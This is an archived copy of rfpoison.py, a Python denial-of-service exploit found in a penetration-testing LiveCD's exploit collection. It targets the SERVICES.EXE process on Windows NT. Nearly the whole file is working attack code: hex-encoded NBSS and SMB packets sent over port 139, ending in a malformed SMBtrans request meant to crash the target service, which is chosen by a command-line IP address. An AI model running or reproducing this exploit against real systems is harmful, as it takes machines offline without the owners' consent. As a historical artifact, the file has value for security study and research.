home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / rfpoison.py < prev    next >
Text File  |  2005-02-12  |  5KB  |  154 lines

  1. #!/usr/bin/env python
  2. #
  3. # Services.exe DoS
  4. # hard work done by: rfp@wiretrip.net
  5. # Python hack by: nas@adler.dynodns.net
  6. #
  7. # This only seems to work on NT.  Also, it may have to be run multiple times
  8. # before SERVICES.EXE will die.  Improvements welcome.
  9. #
  10. # Usage: rfpoison.py <ip address>
  11.  
  12. import string
  13. import struct
  14. from socket import *
  15. import sys
  16.  
  17. def a2b(s):
  18.     bytes = map(lambda x: string.atoi(x, 16), string.split(s))
  19.     data = string.join(map(chr, bytes), '')
  20.     return data
  21.  
  22. def b2a(s):
  23.     bytes = map(lambda x: '%.2x' % x, map(ord, s))
  24.     return string.join(bytes, ' ')
  25.  
  26. # NBSS session request
  27. nbss_session = a2b("""
  28.     81 00  00 48 20 43 4b 46 44 45
  29.     4e 45 43 46 44 45 46 46  43 46 47 45 46 46 43 43
  30.     41 43 41 43 41 43 41 43  41 43 41 00 20 45 48 45
  31.     42 46 45 45 46 45 4c 45  46 45 46 46 41 45 46 46
  32.     43 43 41 43 41 43 41 43  41 43 41 41 41 00 00 00
  33.     00 00
  34.     """)
  35.  
  36. # SMB stuff
  37. crud = (
  38.     # SMBnegprot Request
  39.     """
  40.     ff 53 4d 42 72 00
  41.     00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
  42.     00 00 00 00 f4 01 00 00  01 00 00 81 00 02 50 43
  43.     20 4e 45 54 57 4f 52 4b  20 50 52 4f 47 52 41 4d
  44.     20 31 2e 30 00 02 4d 49  43 52 4f 53 4f 46 54 20
  45.     4e 45 54 57 4f 52 4b 53  20 31 2e 30 33 00 02 4d
  46.     49 43 52 4f 53 4f 46 54  20 4e 45 54 57 4f 52 4b
  47.     53 20 33 2e 30 00 02 4c  41 4e 4d 41 4e 31 2e 30
  48.     00 02 4c 4d 31 2e 32 58  30 30 32 00 02 53 61 6d
  49.     62 61 00 02 4e 54 20 4c  41 4e 4d 41 4e 20 31 2e
  50.     30 00 02 4e 54 20 4c 4d  20 30 2e 31 32 00
  51.     """,
  52.  
  53.     # SMBsessetupX Request
  54.     """
  55.     ff 53 4d 42 73 00
  56.     00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
  57.     00 00 00 00 f4 01 00 00  01 00 0d ff 00 00 00 ff
  58.     ff 02 00 f4 01 00 00 00  00 01 00 00 00 00 00 00
  59.     00 00 00 00 00 17 00 00  00 57 4f 52 4b 47 52 4f
  60.     55 50 00 55 6e 69 78 00  53 61 6d 62 61 00
  61.     """,
  62.  
  63.     # SMBtconX Request
  64.     """
  65.     ff 53 4d 42 75 00
  66.     00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
  67.     00 00 00 00 f4 01 00 08  01 00 04 ff 00 00 00 00
  68.     00 01 00 17 00 00 5c 5c  2a 53 4d 42 53 45 52 56
  69.     45 52 5c 49 50 43 24 00  49 50 43 00
  70.     """,
  71.  
  72.     # SMBntcreateX request
  73.     """
  74.     ff 53 4d 42 a2 00
  75.     00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
  76.     00 00 00 08 f4 01 00 08  01 00 18 ff 00 00 00 00
  77.     07 00 06 00 00 00 00 00  00 00 9f 01 02 00 00 00
  78.     00 00 00 00 00 00 00 00  00 00 03 00 00 00 01 00
  79.     00 00 00 00 00 00 02 00  00 00 00 08 00 5c 73 72
  80.     76 73 76 63 00
  81.     """,
  82.  
  83.     # SMBtrans Request
  84.     """
  85.     ff 53 4d 42 25 00
  86.     00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
  87.     00 00 00 08 f4 01 00 08  01 00 10 00 00 48 00 00
  88.     00 48 00 00 00 00 00 00  00 00 00 00 00 00 00 4c
  89.     00 48 00 4c 00 02 00 26  00 00 08 51 00 5c 50 49
  90.     50 45 5c 00 00 00 05 00  0b 00 10 00 00 00 48 00
  91.     00 00 01 00 00 00 30 16  30 16 00 00 00 00 01 00
  92.     00 00 00 00 01 00 c8 4f  32 4b 70 16 d3 01 12 78
  93.     5a 47 bf 6e e1 88 03 00  00 00 04 5d 88 8a eb 1c
  94.     c9 11 9f e8 08 00 2b 10  48 60 02 00 00 00      
  95.     """,
  96.  
  97.     # SMBtrans Request
  98.     """
  99.     ff 53 4d 42 25 00
  100.     00 00 00 08 01 00 00 00  00 00 00 00 00 00 00 00
  101.     00 00 00 08 f4 01 00 08  01 00 10 00 00 58 00 00
  102.     00 58 00 00 00 00 00 00  00 00 00 00 00 00 00 4c
  103.     00 58 00 4c 00 02 00 26  00 00 08 61 00 5c 50 49
  104.     50 45 5c 00 00 00 05 00  00 03 10 00 00 00 58 00
  105.     00 00 02 00 00 00 48 00  00 00 00 00 0f 00 01 00
  106.     00 00 0d 00 00 00 00 00  00 00 0d 00 00 00 5c 00
  107.     5c 00 2a 00 53 00 4d 00  42 00 53 00 45 00 52 00
  108.     56 00 45 00 52 00 00 00  00 00 01 00 00 00 01 00
  109.     00 00 00 00 00 00 ff ff  ff ff 00 00 00 00      
  110.     """
  111. )
  112. crud = map(a2b, crud)
  113.  
  114.  
  115. def smb_send(sock, data, type=0, flags=0):
  116.     d = struct.pack('!BBH', type, flags, len(data))
  117.     #print 'send:', b2a(d+data)
  118.     sock.send(d+data)
  119.  
  120. def smb_recv(sock):
  121.     s = sock.recv(4)
  122.     assert(len(s) == 4)
  123.     type, flags, length = struct.unpack('!BBH', s)
  124.     data = sock.recv(length)
  125.     assert(len(data) == length)
  126.     #print 'recv:', b2a(s+data)
  127.     return type, flags, data
  128.  
  129. def nbss_send(sock, data):
  130.     sock.send(data)
  131.  
  132. def nbss_recv(sock):
  133.     s =  sock.recv(4)
  134.     assert(len(s) == 4)
  135.     return s
  136.     
  137. def main(host, port=139):
  138.     s = socket(AF_INET, SOCK_STREAM)
  139.     s.connect(host, port)
  140.     nbss_send(s, nbss_session)
  141.     nbss_recv(s)
  142.     for msg in crud[:-1]:
  143.         smb_send(s, msg)
  144.         smb_recv(s)
  145.     smb_send(s, crud[-1]) # no response to this
  146.     s.close()
  147.  
  148. if __name__ == '__main__':
  149.     print 'Sending poison...',
  150.     main(sys.argv[1])
  151.     print 'done.'
  152.  
  153. --82I3+IH0IqGh5yIs--
  154.